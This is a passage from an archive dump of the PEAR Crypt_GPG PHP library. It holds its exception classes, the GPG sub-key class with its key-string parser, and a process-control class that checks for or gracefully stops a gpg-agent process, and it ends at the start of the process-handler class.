 * Guard (GPG). It requires the GPG executable to be on the system.
 *
 * This file contains various exception classes used by the Crypt_GPG package.
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2011 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */

/**
 * PEAR Exception handler and base class
 */
require_once 'PEAR/Exception.php';

/**
 * An exception thrown by the Crypt_GPG package
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_Exception extends PEAR_Exception
{
}

/**
 * An exception thrown when a file is used in ways it cannot be used
 *
 * For example, if an output file is specified and the file is not writeable, or
 * if an input file is specified and the file is not readable, this exception
 * is thrown.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2007-2008 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_FileException extends Crypt_GPG_Exception
{
    /**
     * The name of the file that caused this exception
     *
     * @var string
     */
    private $_filename = '';

    /**
     * Creates a new Crypt_GPG_FileException
     *
     * @param string $message  An error message.
     * @param int    $code     A user defined error code.
     * @param string $filename The name of the file that caused this exception.
     */
    public function __construct($message, $code = 0, $filename = '')
    {
        $this->_filename = $filename;
        parent::__construct($message, $code);
    }

    /**
     * Returns the filename of the file that caused this exception
     *
     * @return string the filename of the file that caused this exception.
     *
     * @see Crypt_GPG_FileException::$_filename
     */
    public function getFilename()
    {
        return $this->_filename;
    }
}

/**
 * An exception thrown when the GPG subprocess cannot be opened
 *
 * This exception is thrown when the {@link Crypt_GPG_Engine} tries to open a
 * new subprocess and fails.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_OpenSubprocessException extends Crypt_GPG_Exception
{
    /**
     * The command used to try to open the subprocess
     *
     * @var string
     */
    private $_command = '';

    /**
     * Creates a new Crypt_GPG_OpenSubprocessException
     *
     * @param string $message An error message.
     * @param int    $code    A user defined error code.
     * @param string $command The command that was called to open the
     *                        new subprocess.
     *
     * @see Crypt_GPG::_openSubprocess()
     */
    public function __construct($message, $code = 0, $command = '')
    {
        $this->_command = $command;
        parent::__construct($message, $code);
    }

    /**
     * Returns the contents of the internal _command property
     *
     * @return string the command used to open the subprocess.
     *
     * @see Crypt_GPG_OpenSubprocessException::$_command
     */
    public function getCommand()
    {
        return $this->_command;
    }
}

/**
 * An exception thrown when an invalid GPG operation is attempted
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2008 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_InvalidOperationException extends Crypt_GPG_Exception
{
    /**
     * The attempted operation
     *
     * @var string
     */
    private $_operation = '';

    /**
     * Creates a new Crypt_GPG_OpenSubprocessException
     *
     * @param string $message   An error message.
     * @param int    $code      A user defined error code.
     * @param string $operation The operation.
     */
    public function __construct($message, $code = 0, $operation = '')
    {
        $this->_operation = $operation;
        parent::__construct($message, $code);
    }

    /**
     * Returns the contents of the internal _operation property
     *
     * @return string the attempted operation.
     *
     * @see Crypt_GPG_InvalidOperationException::$_operation
     */
    public function getOperation()
    {
        return $this->_operation;
    }
}

/**
 * An exception thrown when Crypt_GPG fails to find the key for various
 * operations
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_KeyNotFoundException extends Crypt_GPG_Exception
{
    /**
     * The key identifier that was searched for
     *
     * @var string
     */
    private $_keyId = '';

    /**
     * Creates a new Crypt_GPG_KeyNotFoundException
     *
     * @param string $message An error message.
     * @param int    $code    A user defined error code.
     * @param string $keyId   The key identifier of the key.
     */
    public function __construct($message, $code = 0, $keyId= '')
    {
        $this->_keyId = $keyId;
        parent::__construct($message, $code);
    }

    /**
     * Gets the key identifier of the key that was not found
     *
     * @return string the key identifier of the key that was not found.
     */
    public function getKeyId()
    {
        return $this->_keyId;
    }
}

/**
 * An exception thrown when Crypt_GPG cannot find valid data for various
 * operations
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2006 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_NoDataException extends Crypt_GPG_Exception
{
}

/**
 * An exception thrown when a required passphrase is incorrect or missing
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2006-2008 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_BadPassphraseException extends Crypt_GPG_Exception
{
    /**
     * Keys for which the passhprase is missing
     *
     * This contains primary user ids indexed by sub-key id.
     *
     * @var array
     */
    private $_missingPassphrases = array();

    /**
     * Keys for which the passhprase is incorrect
     *
     * This contains primary user ids indexed by sub-key id.
     *
     * @var array
     */
    private $_badPassphrases = array();

    /**
     * Creates a new Crypt_GPG_BadPassphraseException
     *
     * @param string $message            An error message.
     * @param int    $code               A user defined error code.
     * @param array  $badPassphrases     An array containing user ids of keys
     *                                   for which the passphrase is incorrect.
     * @param array  $missingPassphrases An array containing user ids of keys
     *                                   for which the passphrase is missing.
     */
    public function __construct($message, $code = 0,
        array $badPassphrases = array(), array $missingPassphrases = array()
    ) {
        $this->_badPassphrases     = (array) $badPassphrases;
        $this->_missingPassphrases = (array) $missingPassphrases;

        parent::__construct($message, $code);
    }

    /**
     * Gets keys for which the passhprase is incorrect
     *
     * @return array an array of keys for which the passphrase is incorrect.
     *               The array contains primary user ids indexed by the sub-key
     *               id.
     */
    public function getBadPassphrases()
    {
        return $this->_badPassphrases;
    }

    /**
     * Gets keys for which the passhprase is missing 
     *
     * @return array an array of keys for which the passphrase is missing.
     *               The array contains primary user ids indexed by the sub-key
     *               id.
     */
    public function getMissingPassphrases()
    {
        return $this->_missingPassphrases;
    }
}

/**
 * An exception thrown when an attempt is made to delete public key that has an
 * associated private key on the keyring
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2008 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_DeletePrivateKeyException extends Crypt_GPG_Exception
{
    /**
     * The key identifier the deletion attempt was made upon
     *
     * @var string
     */
    private $_keyId = '';

    /**
     * Creates a new Crypt_GPG_DeletePrivateKeyException
     *
     * @param string $message An error message.
     * @param int    $code    A user defined error code.
     * @param string $keyId   The key identifier of the public key that was
     *                        attempted to delete.
     *
     * @see Crypt_GPG::deletePublicKey()
     */
    public function __construct($message, $code = 0, $keyId = '')
    {
        $this->_keyId = $keyId;
        parent::__construct($message, $code);
    }

    /**
     * Gets the key identifier of the key that was not found
     *
     * @return string the key identifier of the key that was not found.
     */
    public function getKeyId()
    {
        return $this->_keyId;
    }
}

/**
 * An exception thrown when an attempt is made to generate a key and the
 * attempt fails
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2011 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_KeyNotCreatedException extends Crypt_GPG_Exception
{
}

/**
 * An exception thrown when an attempt is made to generate a key and the
 * key parameters set on the key generator are invalid
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2011 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_InvalidKeyParamsException extends Crypt_GPG_Exception
{
    /**
     * The key algorithm
     *
     * @var int
     */
    private $_algorithm = 0;

    /**
     * The key size
     *
     * @var int
     */
    private $_size = 0;

    /**
     * The key usage
     *
     * @var int
     */
    private $_usage = 0;

    /**
     * Creates a new Crypt_GPG_InvalidKeyParamsException
     *
     * @param string $message   An error message.
     * @param int    $code      A user defined error code.
     * @param int    $algorithm The key algorithm.
     * @param int    $size      The key size.
     * @param int    $usage     The key usage.
     */
    public function __construct(
        $message,
        $code = 0,
        $algorithm = 0,
        $size = 0,
        $usage = 0
    ) {
        parent::__construct($message, $code);

        $this->_algorithm = $algorithm;
        $this->_size      = $size;
        $this->_usage     = $usage;
    }

    /**
     * Gets the key algorithm
     *
     * @return int The key algorithm.
     */
    public function getAlgorithm()
    {
        return $this->_algorithm;
    }

    /**
     * Gets the key size
     *
     * @return int The key size.
     */
    public function getSize()
    {
        return $this->_size;
    }

    /**
     * Gets the key usage
     *
     * @return int The key usage.
     */
    public function getUsage()
    {
        return $this->_usage;
    }
}
PK
h�\J�%�H�H*vendor/pear/crypt_gpg/Crypt/GPG/SubKey.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Contains a class representing GPG sub-keys and constants for GPG algorithms
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @copyright 2005-2010 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */

/**
 * A class for GPG sub-key information
 *
 * This class is used to store the results of the {@link Crypt_GPG::getKeys()}
 * method. Sub-key objects are members of a {@link Crypt_GPG_Key} object.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @copyright 2005-2010 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @see       Crypt_GPG::getKeys()
 * @see       Crypt_GPG_Key::getSubKeys()
 */
class Crypt_GPG_SubKey
{
    /**
     * RSA encryption algorithm.
     */
    const ALGORITHM_RSA = 1;

    /**
     * Elgamal encryption algorithm (encryption only).
     */
    const ALGORITHM_ELGAMAL_ENC = 16;

    /**
     * DSA encryption algorithm (sometimes called DH, sign only).
     */
    const ALGORITHM_DSA = 17;

    /**
     * Elgamal encryption algorithm (signage and encryption - should not be
     * used).
     */
    const ALGORITHM_ELGAMAL_ENC_SGN = 20;

    /**
     * Key can be used to encrypt
     */
    const USAGE_ENCRYPT = 1;

    /**
     * Key can be used to sign
     */
    const USAGE_SIGN = 2;

    /**
     * Key can be used to certify other keys
     */
    const USAGE_CERTIFY = 4;

    /**
     * Key can be used for authentication
     */
    const USAGE_AUTHENTICATION = 8;

    /**
     * The id of this sub-key
     *
     * @var string
     */
    private $_id = '';

    /**
     * The algorithm used to create this sub-key
     *
     * The value is one of the Crypt_GPG_SubKey::ALGORITHM_* constants.
     *
     * @var int
     */
    private $_algorithm = 0;

    /**
     * The fingerprint of this sub-key
     *
     * @var string
     */
    private $_fingerprint = '';

    /**
     * Length of this sub-key in bits
     *
     * @var int
     */
    private $_length = 0;

    /**
     * Date this sub-key was created
     *
     * This is a Unix timestamp.
     *
     * @var DateTime|null
     */
    private $_creationDate = null;

    /**
     * Date this sub-key expires
     *
     * This is a Unix timestamp. If this sub-key does not expire, this will be
     * null.
     *
     * @var DateTime|null
     */
    private $_expirationDate = null;

    /**
     * Contains usage flags of this sub-key
     *
     * @var int
     */
    private $_usage = 0;

    /**
     * Whether or not the private key for this sub-key exists in the keyring
     *
     * @var bool
     */
    private $_hasPrivate = false;

    /**
     * Whether or not this sub-key is revoked
     *
     * @var bool
     */
    private $_isRevoked = false;

    /**
     * Creates a new sub-key object
     *
     * Sub-keys can be initialized from an array of named values. Available
     * names are:
     *
     * - <kbd>string id</kbd>          - the key id of the sub-key.
     * - <kbd>int    algorithm</kbd>   - the encryption algorithm of the
     *                                   sub-key.
     * - <kbd>string fingerprint</kbd> - the fingerprint of the sub-key. The
     *                                   fingerprint should not contain
     *                                   formatting characters.
     * - <kbd>int    length</kbd>      - the length of the sub-key in bits.
     * - <kbd>int    creation</kbd>    - the date the sub-key was created.
     *                                   This is a UNIX timestamp.
     * - <kbd>int    expiration</kbd>  - the date the sub-key expires. This
     *                                   is a UNIX timestamp. If the sub-key
     *                                   does not expire, use 0.
     * - <kbd>bool   canSign</kbd>     - whether or not the sub-key can be
     *                                   used to sign data.
     * - <kbd>bool   canEncrypt</kbd>  - whether or not the sub-key can be
     *                                   used to encrypt data.
     * - <kbd>int    usage</kbd>       - the sub-key usage flags
     * - <kbd>bool   hasPrivate</kbd>  - whether or not the private key for
     *                                   the sub-key exists in the keyring.
     * - <kbd>bool   isRevoked</kbd>   - whether or not this sub-key is
     *                                   revoked.
     *
     * @param Crypt_GPG_SubKey|string|array|null $key Either an existing sub-key object,
     *                                                which is copied; a sub-key string,
     *                                                which is parsed; or an array
     *                                                of initial values.
     */
    public function __construct($key = null)
    {
        // parse from string
        if (is_string($key)) {
            $key = self::parse($key);
        }

        // copy from object
        if ($key instanceof Crypt_GPG_SubKey) {
            $this->_id             = $key->_id;
            $this->_algorithm      = $key->_algorithm;
            $this->_fingerprint    = $key->_fingerprint;
            $this->_length         = $key->_length;
            $this->_creationDate   = $key->_creationDate;
            $this->_expirationDate = $key->_expirationDate;
            $this->_usage          = $key->_usage;
            $this->_hasPrivate     = $key->_hasPrivate;
            $this->_isRevoked      = $key->_isRevoked;
        }

        // initialize from array
        if (is_array($key)) {
            if (array_key_exists('id', $key)) {
                $this->setId($key['id']);
            }

            if (array_key_exists('algorithm', $key)) {
                $this->setAlgorithm($key['algorithm']);
            }

            if (array_key_exists('fingerprint', $key)) {
                $this->setFingerprint($key['fingerprint']);
            }

            if (array_key_exists('length', $key)) {
                $this->setLength($key['length']);
            }

            if (array_key_exists('creation', $key)) {
                $this->setCreationDate($key['creation']);
            }

            if (array_key_exists('expiration', $key)) {
                $this->setExpirationDate($key['expiration']);
            }

            if (array_key_exists('usage', $key)) {
                $this->setUsage($key['usage']);
            }

            if (array_key_exists('canSign', $key)) {
                $this->setCanSign($key['canSign']);
            }

            if (array_key_exists('canEncrypt', $key)) {
                $this->setCanEncrypt($key['canEncrypt']);
            }

            if (array_key_exists('hasPrivate', $key)) {
                $this->setHasPrivate($key['hasPrivate']);
            }

            if (array_key_exists('isRevoked', $key)) {
                $this->setRevoked($key['isRevoked']);
            }
        }
    }

    /**
     * Gets the id of this sub-key
     *
     * @return string The id of this sub-key.
     */
    public function getId()
    {
        return $this->_id;
    }

    /**
     * Gets the algorithm used by this sub-key
     *
     * The algorithm should be one of the Crypt_GPG_SubKey::ALGORITHM_*
     * constants.
     *
     * @return int The algorithm used by this sub-key.
     */
    public function getAlgorithm()
    {
        return $this->_algorithm;
    }

    /**
     * Gets the creation date of this sub-key
     *
     * This is a Unix timestamp. Warning: On 32-bit systems it returns
     * invalid value for dates after 2038-01-19. Use getCreationDateTime().
     *
     * @return int The creation date of this sub-key.
     */
    public function getCreationDate()
    {
        return $this->_creationDate ? (int) $this->_creationDate->format('U') : 0;
    }

    /**
     * Gets the creation date-time (UTC) of this sub-key
     *
     * @return DateTime|null The creation date of this sub-key.
     */
    public function getCreationDateTime()
    {
        return $this->_creationDate ? $this->_creationDate : null;
    }

    /**
     * Gets the date this sub-key expires
     *
     * This is a Unix timestamp. If this sub-key does not expire, this will be
     * zero. Warning: On 32-bit systems it returns invalid value for dates
     * after 2038-01-19. Use getExpirationDateTime().
     *
     * @return int The date this sub-key expires.
     */
    public function getExpirationDate()
    {
        return $this->_expirationDate ? (int) $this->_expirationDate->format('U') : 0;
    }

    /**
     * Gets the date-time (UTC) this sub-key expires
     *
     * @return DateTime|null The date this sub-key expires.
     */
    public function getExpirationDateTime()
    {
        return $this->_expirationDate ? $this->_expirationDate : null;
    }

    /**
     * Gets the fingerprint of this sub-key
     *
     * @return string The fingerprint of this sub-key.
     */
    public function getFingerprint()
    {
        return $this->_fingerprint;
    }

    /**
     * Gets the length of this sub-key in bits
     *
     * @return int The length of this sub-key in bits.
     */
    public function getLength()
    {
        return $this->_length;
    }

    /**
     * Gets whether or not this sub-key can sign data
     *
     * @return bool True if this sub-key can sign data and false if this
     *              sub-key can not sign data.
     */
    public function canSign()
    {
        return ($this->_usage & self::USAGE_SIGN) != 0;
    }

    /**
     * Gets whether or not this sub-key can encrypt data
     *
     * @return bool True if this sub-key can encrypt data and false if this
     *              sub-key can not encrypt data.
     */
    public function canEncrypt()
    {
        return ($this->_usage & self::USAGE_ENCRYPT) != 0;
    }

    /**
     * Gets usage flags of this sub-key
     *
     * @return int Sum of usage flags
     */
    public function usage()
    {
        return $this->_usage;
    }

    /**
     * Gets whether or not the private key for this sub-key exists in the
     * keyring
     *
     * @return bool True the private key for this sub-key exists in the
     *              keyring and false if it does not.
     */
    public function hasPrivate()
    {
        return $this->_hasPrivate;
    }

    /**
     * Gets whether or not this sub-key is revoked
     *
     * @return bool True if this sub-key is revoked and false if it is not.
     */
    public function isRevoked()
    {
        return $this->_isRevoked;
    }

    /**
     * Sets the creation date of this sub-key
     *
     * The creation date is a Unix timestamp or DateTime object.
     *
     * @param int|DateTime $creationDate The creation date of this sub-key.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setCreationDate($creationDate)
    {
        if (empty($creationDate)) {
            $this->_creationDate = null;
            return $this;
        }

        if ($creationDate instanceof DateTime) {
            $this->_creationDate = $creationDate;
        } else {
            $tz = new DateTimeZone('UTC');
            $this->_creationDate = new DateTime("@$creationDate", $tz);
        }

        return $this;
    }

    /**
     * Sets the expiration date of this sub-key
     *
     * The expiration date is a Unix timestamp. Specify zero if this sub-key
     * does not expire.
     *
     * @param int|DateTime $expirationDate The expiration date of this sub-key.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setExpirationDate($expirationDate)
    {
        if (empty($expirationDate)) {
            $this->_expirationDate = null;
            return $this;
        }

        if ($expirationDate instanceof DateTime) {
            $this->_expirationDate = $expirationDate;
        } else {
            $tz = new DateTimeZone('UTC');
            $this->_expirationDate = new DateTime("@$expirationDate", $tz);
        }

        return $this;
    }

    /**
     * Sets the id of this sub-key
     *
     * @param string $id The id of this sub-key.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setId($id)
    {
        $this->_id = strval($id);
        return $this;
    }

    /**
     * Sets the algorithm used by this sub-key
     *
     * @param int $algorithm The algorithm used by this sub-key.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setAlgorithm($algorithm)
    {
        $this->_algorithm = intval($algorithm);
        return $this;
    }

    /**
     * Sets the fingerprint of this sub-key
     *
     * @param string $fingerprint The fingerprint of this sub-key.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setFingerprint($fingerprint)
    {
        $this->_fingerprint = strval($fingerprint);
        return $this;
    }

    /**
     * Sets the length of this sub-key in bits
     *
     * @param int $length The length of this sub-key in bits.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setLength($length)
    {
        $this->_length = intval($length);
        return $this;
    }

    /**
     * Sets whether or not this sub-key can sign data
     *
     * @param bool $canSign True if this sub-key can sign data and false if
     *                      it can not.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setCanSign($canSign)
    {
        if ($canSign) {
            $this->_usage |= self::USAGE_SIGN;
        } else {
            $this->_usage &= ~self::USAGE_SIGN;
        }

        return $this;
    }

    /**
     * Sets whether or not this sub-key can encrypt data
     *
     * @param bool $canEncrypt True if this sub-key can encrypt data and
     *                         false if it can not.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setCanEncrypt($canEncrypt)
    {
        if ($canEncrypt) {
            $this->_usage |= self::USAGE_ENCRYPT;
        } else {
            $this->_usage &= ~self::USAGE_ENCRYPT;
        }

        return $this;
    }

    /**
     * Sets usage flags of the sub-key
     *
     * @param int $usage Usage flags
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setUsage($usage)
    {
        $this->_usage = (int) $usage;
        return $this;
    }

    /**
     * Sets whether of not the private key for this sub-key exists in the
     * keyring
     *
     * @param bool $hasPrivate True if the private key for this sub-key
     *                         exists in the keyring and false if it does
     *                         not.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setHasPrivate($hasPrivate)
    {
        $this->_hasPrivate = ($hasPrivate) ? true : false;
        return $this;
    }

    /**
     * Sets whether or not this sub-key is revoked
     *
     * @param bool $isRevoked Whether or not this sub-key is revoked.
     *
     * @return Crypt_GPG_SubKey The current object, for fluent interface.
     */
    public function setRevoked($isRevoked)
    {
        $this->_isRevoked = ($isRevoked) ? true : false;
        return $this;
    }

    /**
     * Parses a sub-key object from a sub-key string
     *
     * See <b>doc/DETAILS</b> in the
     * {@link http://www.gnupg.org/download/ GPG distribution} for information
     * on how the sub-key string is parsed.
     *
     * @param string $string The string containing the sub-key.
     *
     * @return Crypt_GPG_SubKey The sub-key object parsed from the string.
     */
    public static function parse($string)
    {
        $tokens = explode(':', $string);

        $subKey = new Crypt_GPG_SubKey();

        $subKey->setId($tokens[4]);
        $subKey->setLength($tokens[2]);
        $subKey->setAlgorithm($tokens[3]);
        $subKey->setCreationDate(self::_parseDate($tokens[5]));
        $subKey->setExpirationDate(self::_parseDate($tokens[6]));

        if ($tokens[1] == 'r') {
            $subKey->setRevoked(true);
        }

        $usage = 0;
        $usage_map = array(
            'a' => self::USAGE_AUTHENTICATION,
            'c' => self::USAGE_CERTIFY,
            'e' => self::USAGE_ENCRYPT,
            's' => self::USAGE_SIGN,
        );

        foreach ($usage_map as $key => $flag) {
            if (strpos($tokens[11], $key) !== false) {
                $usage |= $flag;
            }
        }

        $subKey->setUsage($usage);

        return $subKey;
    }

    /**
     * Parses a date string as provided by GPG into a UNIX timestamp
     *
     * @param string $string The date string.
     *
     * @return DateTime|null The date corresponding to the provided date string.
     */
    private static function _parseDate($string)
    {
        if (empty($string)) {
            return null;
        }

        // all times are in UTC according to GPG documentation
        $timeZone = new DateTimeZone('UTC');

        if (strpos($string, 'T') === false) {
            // interpret as UNIX timestamp
            $string = '@' . $string;
        }

        return new DateTime($string, $timeZone);
    }
}
PK
h�\. ��2vendor/pear/crypt_gpg/Crypt/GPG/ProcessControl.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * A class for monitoring and terminating processes
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */

/**
 * A class for monitoring and terminating processes by PID
 *
 * This is used to safely terminate the gpg-agent for GnuPG 2.x. This class
 * is limited in its abilities and can only check if a PID is running and
 * send a PID SIGTERM.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */
class Crypt_GPG_ProcessControl
{
    /**
     * The PID (process identifier) being monitored
     *
     * @var int
     */
    protected $pid;

    /**
     * Creates a new process controller from the given PID (process identifier)
     *
     * @param int $pid The PID (process identifier).
     */
    public function __construct($pid)
    {
        $this->pid = $pid;
    }

    /**
     * Gets the PID (process identifier) being controlled
     *
     * @return int The PID being controlled.
     */
    public function getPid()
    {
        return $this->pid;
    }

    /**
     * Checks if the process is running
     *
     * If the <kbd>posix</kbd> extension is available, <kbd>posix_getpgid()</kbd>
     * is used. Otherwise <kbd>ps</kbd> is used on UNIX-like systems and
     * <kbd>tasklist</kbd> on Windows.
     *
     * @return bool True if the process is running, false if not.
     */
    public function isRunning()
    {
        $running = false;

        if (function_exists('posix_getpgid')) {
            $running = false !== posix_getpgid($this->pid);
        } elseif (PHP_OS === 'WINNT') {
            $command = 'tasklist /fo csv /nh /fi '
                . escapeshellarg('PID eq ' . $this->pid);

            $result  = exec($command);
            $parts   = explode(',', $result);
            $running = (count($parts) > 1 && trim($parts[1], '"') == $this->pid);
        } else {
            $result  = exec('ps -p ' . escapeshellarg($this->pid) . ' -o pid=');
            $running = (trim($result) == $this->pid);
        }

        return $running;
    }

    /**
     * Ends the process gracefully
     *
     * The signal SIGTERM is sent to the process. The gpg-agent process will
     * end gracefully upon receiving the SIGTERM signal. Upon 3 consecutive
     * SIGTERM signals the gpg-agent will forcefully shut down.
     *
     * If the <kbd>posix</kbd> extension is available, <kbd>posix_kill()</kbd>
     * is used. Otherwise <kbd>kill</kbd> is used on UNIX-like systems and
     * <kbd>taskkill</kbd> is used in Windows.
     *
     * @return void
     */
    public function terminate()
    {
        if (function_exists('posix_kill')) {
            posix_kill($this->pid, 15);
        } elseif (PHP_OS === 'WINNT') {
            exec('taskkill /PID ' . escapeshellarg($this->pid));
        } else {
            exec('kill -15 ' . escapeshellarg($this->pid));
        }
    }
}
PK
h�\ddžU�w�w2vendor/pear/crypt_gpg/Crypt/GPG/ProcessHandler.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Crypt_GPG is a package to use GPG from PHP
 *
 * This file contains handler for status and error pipes of GPG process.
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @author    Aleksander Machniak <alec@alec.pl>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://www.gnupg.org/
 */

/**
 * GPG exception classes.
 */
require_once 'Crypt/GPG/Exceptions.php';

/**
 * Signature object class definition
 */
require_once 'Crypt/GPG/Signature.php';

/**
 * Status/Error handler for GPG process pipes.
 *
 * This class is used internally by Crypt_GPG_Engine and does not need to be used
 * directly. See the {@link Crypt_GPG} class for end-user API.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @author    Aleksander Machniak <alec@alec.pl>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://www.gnupg.org/
 */
class Crypt_GPG_ProcessHandler
{
    /**
     * Engine used to control the GPG subprocess
     *
     * @var Crypt_GPG_Engine
     */
    protected $engine;

    /**
     * The error code of the current operation
     *
     * @var int
     */
    protected $errorCode = Crypt_GPG::ERROR_NONE;

